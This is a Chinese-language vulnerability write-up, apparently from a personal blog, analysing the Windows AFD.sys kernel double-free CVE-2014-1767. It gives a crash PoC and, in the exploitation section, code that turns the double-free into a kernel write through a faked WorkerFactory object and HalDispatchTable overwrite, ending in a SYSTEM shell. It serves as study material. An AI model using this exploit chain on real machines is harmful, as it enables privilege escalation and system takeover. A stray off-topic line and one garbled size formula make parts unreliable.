CVE-2014-1767 Windows AFD.sys内核双重释放漏洞

一、基本分析

1.双击调试得到crash信息

省略配windbg+vmware+win7双机调试的过程,其实也不是想象中那么难。
管理员权限启动设置好命令行参数的windbg快捷方式,windbg会自动开始连接被调试机,并在int 3断下,此时被调试机会卡住。

输入g继续运行,并在虚拟机中点击运行poc.exe

#include
#include
#pragma comment(lib,"WS2_32.lib")

int main()
{
    DWORD targetSize=0x310;
    DWORD virtualAddress=0x13371337;
    DWORD mdlSize=(0x4000*(targetSize-0x30)/8)-0xFFF0-(virtualAddress& 0xFFF);
    static DWORD inbuf1[100];
    memset(inbuf1,0,sizeof(inbuf1));
    inbuf1[6]=virtualAddress;
    inbuf1[7]=mdlSize;
    inbuf1[10]=1;
    static DWORD inbuf2[100];
    memset(inbuf2,0,sizeof(inbuf2));
    inbuf2[0]=1;
    inbuf2[1]=0x0AAAAAAA;
    WSADATA WSAData;
    SOCKET s;
    sockaddr_in sa;
    int ierr;
    WSAStartup(0x2,&WSAData);
    s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    memset(&sa,0,sizeof(sa));
    sa.sin_port=htons(135);
    sa.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
    sa.sin_family=AF_INET;
    ierr=connect(s,(const struct sockaddr *)&sa,sizeof(sa));
    static char outBuf[100];
    DWORD bytesRet;
    DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
    DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);
    return 0;
}

等待windbg再次断下,使用命令!analyze -v获取dump文件的详细信息:

可以看到崩溃的原因是重复释放一块已经被释放的内存

其他的崩溃信息:

出问题的是afd.sys模块,漏洞的类型为double free,free 的对象是Mdl,并且发生崩溃时存在这样的调用关系:
afd!AfdTransmitPackets==> afd!AfdTliGetTpInfo==>afd!AfdReturnTpInfo==>nt!IoFreeMdl

除此之外还需要分析:afd!AfdTransmitFile==>afd!AfdTliGetTpInfo==>afd!AfdReturnTpInfo==>nt!IoFreeMdl这条调用链,虽然没有显示在crash的调用栈信息中,但这是poc中第一次调用DeviceIoControl时的free过程。

2. IO控制码0x1207F——第一次free

poc中程序调用两次DeviceIoControl,分别向IO控制码0x1207F0x120C3发送数据:

 DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
 DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);

在windbg中对nt!NtDeviceIoControlFile设置条件断点,使其在处理IO控制码0x1207F时断下。IO控制码是NtDeviceIoControl第6个参数,即esp+18,因此条件断点命令为:
bp nt!NtDeviceIoControlFile ".if (poi(esp+18) = 0x1207F){}.else{gc;}"

1)afd!AfdTransmitFile

当IO控制码 IoControlCode=0x1207F 时,afd 驱动会调用 afd!AfdTransmitFile

afd!AfdTransmitFile()

根据之前的crash信息我们看到会执行AfdTliGetTpInfo(),要想执行到调用该函数,需要满足:
"v54 & 0xFFFFFFC8 ==0"
"v54 & 0x30 != 0x30"
"v54 & 0x30 != 0"

qmemcpy之后v45的内容:


可以看到此时的v45的内容正是我们调用DeviceIoControl时的参数inbuf1。而v54即inbuf1[10] 。
当inbuf1满足上述条件时,AfdTransmitFile 会调用AfdTliGetTpInfo ( 3 )

2)AfdTliGetTpInfo

结合对AfdTliGetTpInfo, AfdReturnTpInfo, AfdAllocateTpInfo, AfdInitializeTpInfo 的综合
分析,得到tpinfo数据结构的定义

AfdTliGetTpInfo调用ExAllocateFromNPagedLookasideList 从afd内部使用的lookaside list中申请一个tpinfo结构体


ExAllocateFromNPagedLookasideList

显然这时候lookaside list为空,将调用AfdAllocateTpInfo分配一片空间:

AfdAllocateTpInfo

其中AfdInitializeTpInfo完成对申请得的tpinfo作相关初始化。程序从AfdTliGetTpInfo返回后返回值是一个tpinfo结构体:

tpinfo

再之后程序会调用IoAllocateMdl申请一个mdl结构体,参数virtualaddress和length是在poc中定义的inbuf1[6]、inbuf1[7]

显然virtualaddress是我们随便写的一个值,接着执行MmProbeAndLockPages会触发异常跳转到AfdReturnTpInfo去执行

3)AfdReturnTpInfo

可以看到此时调用AfdReturnTpInfo的参数正是之前AfdTliGetTpInfo申请到的tpinfo的地址

free了mdl结构体之后没有清零指针,造成了一个悬挂指针,存放在 tpInfo 中的 Mdl 指针并没有清空,tpInfo 中 elemCount也维持原始值,未做改动,那么假设现在再对这个tpinfo调用一次 AfdReturnTpInfo ,则势必会造成 double free。

之后会将tpinfo放入lookaside:


2. IO控制码0x120C3——第二次free

第二次 DeviceIoControl,IoControlCode = 0x120C3, 将会调用AfdTransmitPackets
仍然先下一个条件断点:
bp nt!NtDeviceIoControlFile ".if (poi(esp+18) = 0x120C3){}.else{gc;}"
断下后继续执行到AfdTransmitPackets
poc中我们设定的inbuf2的内容:

inbuf2[0]=1;
inbuf2[1]=0x0AAAAAAA;

可以使程序执行到AfdTliGetTpInfo



并且调用AfdTliGetTpInfo的参数是我们设置的0x0AAAAAAA
进入AfdTliGetTpInfo执行,先从looaside表中取出一个tpinfo:

正是之前放入lookaside存在野指针的那个tpinfo

继续执行,显然参数0x0AAAAAAA>3会进入if执行


32位机器试图分配0xfffffff0大小的内存会失败,触发异常转去执行AfdReturnTpInfo

再次执行到IoFreeMdl会再次释放之前的那个mdl:

接下即crash系统崩溃。

二、漏洞利用

1. 思路

思路当然都是别人的(X 。。X)
外文pdf以及我参照的这篇 [原创]CVE-2014-1767_Afd.sys_double-free_漏洞分析与利用

1)调用 DeviceIoControl, IoControlCode = 0x1207F, 造成一次 MDL free
2)新建某个对象,使得这个对象恰好占据刚才被 free 掉的空间
3)调用 DeviceIoControl, IoControlCode =0x120c3,再次释放,释放掉
刚才新申请的对象
4)覆盖被释放掉的对象为可控数据(伪造对象)*
5)尝试调用能够操作此对象的函数,让函数通过操作我们刚刚覆盖的可控数据,实现一个内核内存写操作,这个写操作最理想的就是“任意地址写任意内容”,这样我们就可以覆写 HalDispatchTable 的某个单元为我们 ShellCode 的地址,这样就可以劫持一个内核函
数调用
6)用户层触发刚刚被 Hook 的 HalDispatchTable 函数,使得内核执行 shellcode,提权

耳目一新的思路,把一个double free愣是玩成了use after free,实质就是借助double free两次释放的机会分别使用uaf,完成对一个对象内容的修改来实现一个内存写操作,然后进行hook。

2. 选择合适的对象

A)这个对象的大小要等于第一次被释放的mdl内存的大小(uaf)
B) 这个对象应该有这样一个操作函数,这个函数能够操作我们的恶意数据,使得我们简介实现任意地址写任意内容

经过逆向,第一次释放的是一个MDL对象,且MDL对象的大小是由VritualAddress和length共同决定的(IoAllocateMdl函数),而virtualAddress和length是由用户控制的参数,因此A)的要求就不必担心了

pages = ((Length & 0xFFF) + (VirtualAddress & 0xF0xFFF)>>12 + (length>>12
freedSize = mdlSize = pages*sizeof(PVOID)+0x1c

接下来考虑B)的满足,外文pdf里面提到了WorkerFactory。

不行了不行了跟不住了这篇太长了


以及每次自己在外面只能吃到的炸过火炸干的炸混沌


3. WorkerFactory对象及方法

WorkerFactory对象存在一个函数NtSetInformationWorkerFactory,该函数位于
C:\windows\system32\ntoskrnl.exe中的sub_468875(idapython根据交叉引用和调用参数硬筛选出来的),不知道为为什么微软官方没有下到pdb。
(后来又下到了,可能是网络的问题???另外下下来之后名字是ntkrnlmp.pdb而非ntkrnl.pdb)

可以看到v12是由参数arg3决定的,而[object+0x10]处的地址也可以通过uaf修改,这样就可以实现一次任意地址写入。

    *(_DWORD *)(*(_DWORD *)(*(_DWORD *)Object + 0x10) + 0x1C) = v12;// v12=arg3

我们可以设置*arg3 = ShellCode , (object+0x10)+0x1C == HalDispatchTable 某个单元

4.如何修改WorkerFactory对象的数据

前面的思路里说到了在调用 DeviceIoControl, IoControlCode =0x120c3第二次释放之后,再利用uaf申请一块内存实现修改WorkerFactory对象。只有实现了这一步我们才能利用上面的 ((*object+0x10)+0x1C) == *arg3 实现任意地址写任意内容。

我们分析知道被释放的 MDL 属于 NonPagedPool,而用户空间的 VirtualAlloc 并没有能力为我们在 NonPagedPool 上分配空间从而让我们覆盖我们的数据!这就又要采取类似使用 NtSetInformationWorkerFactory 的方法,找那样一个 Nt*系列函数,它的内部操作能够为我们完成一次 ExAllocatePool 并且是 NonPagedPool,并且还有能复制我们的数据到它新申请的这个内存中去!说白了就是完成一次内核 Alloc 并且 memcpy 的操作!会有这么完美的函数等着我们嘛?会是哪个?还是借助那篇 pdf 的思路,对就是NtQueryEaFile !

其中EaListLength和EaList都是可控的参数:

NTSTATUS __stdcall NtQueryEaFile( HANDLE FileHandle, 
                                  PIO_STATUS_BLOCK IoStatusBlock, 
                                  PFILE_FULL_EA_INFORMATION Buffer, 
                                  ULONG BufferLength, 
                                  BOOLEAN ReturnSingleEntry, 
                                  PFILE_GET_EA_INFORMATION EaList, 
                                  ULONG EaListLength, 
                                  PULONG EaIndex, 
                                  BOOLEAN RestartScan)

还有一个坑,这里使用的是ExxAllocatePoolWithQuotaTag而不是ExAllocatePoolWithTag,二者的差别在于申请的内存字节数上,对ExxAllocatePoolWithQuotaTag其内部是调用的是

ExAllocatePoolWithTag(PoolType, length+4, tag)

因此使用 NtQueryEaFile 时候,字节数=EaLength=objSize-0x4 才可以正常利用堆缓冲机制使得申请的内存正好占据原本对象的空间。

以及NtQueryEaFile函数之后会把分配的内存释放掉,不过除了堆头部那些东西剩下的数据不会改变,不会影响到我们接下来的利用。

到这里真的对想出漏洞利用方法的人五体投地,也意识到自己的局限和漫长的道路。可以看到前面涉及到了很多冷僻的windows函数,类,以及对windows内核函数的逆向,真的是一个很长的积累的过程。

5.伪造WorkerFactory对象

之前使用uaf利用方法的前提是申请的内存大小要与WorkerFactory对象一致,那么该对象的大小是多少呢?
根据NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject->
ExAllocatePoolWithTag得到对象大小位0xA0

现在已经可以利用第二次调用DeviceIoControl,并利用uaf的方法修改WorkerFactory对象的内存数据。为了保证之后调用其方法函数时不会出奇怪的错误,需要考虑对象原本的数据结构
取巧的方法就是直接把正常对象的头部复制过来

6. EXP

1)首先第一次释放,通过WorkerFactory对象的大小0xa0反推inbuf1中的length参数,保证二者大小一致,满足uaf的条件
const DWORD FakeObjSize = 0xA0 ;
DWORD mdlSize = FakeObjSize ;
DWORD virtualAddress = 0x710DDDD ;
DWORD length = ((mdlSize - 0x1C)/4 - (virtualAddress%4 ? 1:0))*0x1000 ;

static BYTE inbuf1[0x30] ;
memset(inbuf1, 0, sizeof(inbuf1)) ;
*(ULONG*)(inbuf1+0x18)  = virtualAddress ;
*(ULONG*)(inbuf1+0x1C)  = length ;
*(ULONG*)(inbuf1+0x28)  = 1 ;
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, NULL, 0, NULL, NULL);
2)接着创建一个WorkerFactory对象:
HANDLE hCompletionPort = CreateIoCompletionPort( INVALID_HANDLE_VALUE, NULL, 1337, 4) ;
 
LONG ntStatus = fpCreateWorkerFactory( &hWorkerFactory, 
                                           GENERIC_ALL, 
                                           NULL,
                                           hCompletionPort,
                                           (HANDLE)-1,
                                           NULL,
                                           NULL,
                                           0,
                                           0,
                                           0 );
printf("hWorkerFactory: %p\n", hWorkerFactory) ;

此时WorkerFactory对象将会被分配到之前释放的位置。

3)然后第二次释放,
static BYTE inbuf2[0x10] ;
memset(inbuf2, 0, sizeof(inbuf2)) ;
*(ULONG*)inbuf2    = 1 ;
*(ULONG*)(inbuf2+4)= 0x0AAAAAAA ;
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL);
4)伪造对象并拷贝到原本WorkerFactory对象的位置

首先伪造对象:

IO_STATUS_BLOCK IoStatus ;
static BYTE FakeWorkerFactory[FakeObjSize] ;
memset(FakeWorkerFactory, 0, FakeObjSize) ;
    
static BYTE ObjHead [0x28] = { 0x00, 0x00, 0x00, 0x00, 0xa8, 0x00, 0x00, 0x00,    // 0xa8 == NonPagedPoolCharge
                               0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
   /* objHeader --> +0x10 */   0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,    // pointer count, handle count
                               0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x08, 0x00,    // 0x16 == typeIndex
                               0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } ; // ObReferenceObjectByHandle FAIL
        /* objBody   --> +0x28 */
memcpy(FakeWorkerFactory, ObjHead, 0x28) ;

static BYTE  a[0x14] ;
PVOID *pFakeObj = (PVOID*)((ULONG_PTR)FakeWorkerFactory+0x28) ;

    // Init fakeObj to prepare data for DWORD WRITE on HalDispatchTable in NtSetInfomationWorkerFactory
*pFakeObj = a ;
*(PVOID*)(a+0x10) = (PVOID)(((ULONG_PTR)kHalDsipatchTable+sizeof(PVOID)) - 0x1C) ;

使用NtQueryEaFile再次申请一块内存:

fpQueryEaFile = (PNtQueryEaFile)GetProcAddress(hNtdll, "ZwQueryEaFile");
fpQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, NULL, 0, FALSE, FakeWorkerFactory, FakeObjSize-0x04, NULL, FALSE) ;
5)dword write to HalDispatchTable

通过HalDispathTable利用任意地址写漏洞来hook到shellcode的方法参见:
windows kernel exploitation基础教程 – P3nro5e

static PULONG ShotAddress = (PULONG)ShellCode ;
fpSetInformationWorkerFactory(hWorkerFactory, 8, &ShotAddress, sizeof(PVOID)) ;
    
// Trigger from user mode 触发!!
ULONG Interval ;
fpQueryIntervalProfile(2, &Interval) ;
    
// System Shell
ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);

END.

你可能感兴趣的:(CVE-2014-1767 Windows AFD.sys内核双重释放漏洞)